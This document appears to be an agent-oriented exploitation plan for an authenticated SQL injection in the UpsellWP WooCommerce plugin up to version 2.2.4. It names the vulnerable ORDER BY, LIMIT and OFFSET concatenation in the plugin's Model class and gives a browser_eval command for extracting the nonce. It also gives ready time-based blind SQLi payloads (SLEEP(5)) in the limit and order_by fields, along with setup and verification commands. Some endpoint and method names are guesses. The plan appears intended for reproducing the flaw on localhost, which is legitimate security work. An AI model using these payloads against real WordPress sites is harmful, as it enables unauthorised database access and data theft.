UpsellWP – WooCommerce Upsell and Related Products Offers <= 2.2.4 - Authenticated (Shop manager+) SQL Injection

This vulnerability is a classic case of SQL Injection in the database abstraction layer of a WordPress plugin. The CUW\App\Models\Model class provides helper methods for building SQL queries that fail to properly sanitize or prepare clauses for ORDER BY, LIMIT, and OFFSET.

1. Vulnerability Summary

The UpsellWP plugin uses a base Model class (app/Models/Model.php) to handle database interactions. The method prepareSelectQuery() constructs SQL strings by concatenating user-supplied values from an $args array directly into the query. Specifically, the order_by, limit, and offset keys in the $args array are appended to the query string without using $wpdb->prepare() or type-casting (like intval()). This allows an authenticated user with "Shop Manager" or "Administrator" privileges to inject arbitrary SQL.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: cuw_admin_ajax (Inferred from the plugin's cuw_ prefix and standard Flycart AJAX routing patterns).
• Method/Route: The AJAX dispatcher likely routes requests to a controller method (e.g., get_campaigns) that calls a Model's getRows() method.
• Vulnerable Parameter: Parameters mapped to $args['order_by'], $args['limit'], or $args['offset'].
• Authentication: Authenticated, Shop Manager level or higher.
• Preconditions: At least one record (e.g., a Campaign) must exist in the database for the query to execute and reflect time-based changes.

3. Code Flow

1. Entry Point: An AJAX request is sent to admin-ajax.php with action=cuw_admin_ajax.
2. Controller: The dispatcher (likely in app/Controllers/Admin/Ajax.php) receives the request.
3. Model Call: The controller calls a method like CUW\App\Models\Campaign::getRows($where, $where_format, $columns, $args).
4. Vulnerable Sink: getRows calls prepareSelectQuery($where, $where_format, $columns, $args) in app/Models/Model.php.
5. Injection Site:
   • Line 241: $query .= " ORDER BY \$order_by` $sort";` (Injects by breaking out of backticks).
   • Line 245: $query .= " LIMIT $limit"; (Direct concatenation).
   • Line 250: $query .= " OFFSET $offset"; (Direct concatenation).

4. Nonce Acquisition Strategy

The plugin enqueues its admin scripts and localizes data including a security nonce.

1. Identify Page: The main plugin page is likely wp-admin/admin.php?page=checkout-upsell-and-order-bumps.
2. Navigation: Use browser_navigate to this URL while logged in as a Shop Manager.
3. Extraction: The nonce is typically stored in a global JS object. Based on common Flycart patterns, the variable is likely cuw_admin_params or cuw_vars.
4. Agent Command:

   browser_eval("window.cuw_admin_params?.ajax_nonce || window.cuw_vars?.nonce")
   

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection targeting the limit parameter, as it is concatenated directly without any wrapping characters.

• Request Type: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=cuw_admin_ajax
  method=get_campaigns
  nonce=[EXTRACTED_NONCE]
  limit=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  

• Alternative Body (using order_by):

  action=cuw_admin_ajax
  method=get_campaigns
  nonce=[EXTRACTED_NONCE]
  order_by=id`,(SELECT 1 FROM (SELECT SLEEP(5))a)-- -
  

  Resulting Query: SELECT * FROM ... ORDER BY id,(SELECT 1 FROM (SELECT SLEEP(5))a)-- - ASC`

6. Test Data Setup

1. User: Create a user with the shop_manager role.
2. Plugin Setup: Ensure WooCommerce is active (dependency).
3. Content: Create at least one campaign via the UpsellWP dashboard to ensure the getRows query has a target table and data.
   • wp post create --post_type=cuw_campaign --post_title="Test Campaign" --post_status=publish (Note: Check the actual post type name if this fails, likely cuw_campaign or stored in a custom table wp_cuw_campaigns).

7. Expected Results

• Normal Request: The server responds promptly (e.g., < 200ms).
• Exploit Request: The server response is delayed by exactly 5 seconds.
• Error-Based (Optional): If WP_DEBUG is on, providing a payload like limit=1' ERROR might return a database error string in the response.

8. Verification Steps

After performing the time-based injection, use wp db query to confirm the structure of the plugin's tables:

1. Check for custom tables: wp db query "SHOW TABLES LIKE '%cuw_%'"
2. Verify content: wp db query "SELECT COUNT(*) FROM wp_cuw_campaigns" (or relevant table).
3. Confirm the vulnerability by manually running a similar query via CLI to ensure the syntax matches the injection hypothesis.

9. Alternative Approaches

If get_campaigns is not the correct method name:

1. Check the browser Network tab while interacting with the plugin's dashboard to see the exact method or route parameter sent in AJAX requests.
2. Search for other Model usages:

   grep -rn "getRows" app/Controllers/
   

3. If time-based is unstable, try boolean-based by changing the limit to 1 (True) vs 0 (False/No results).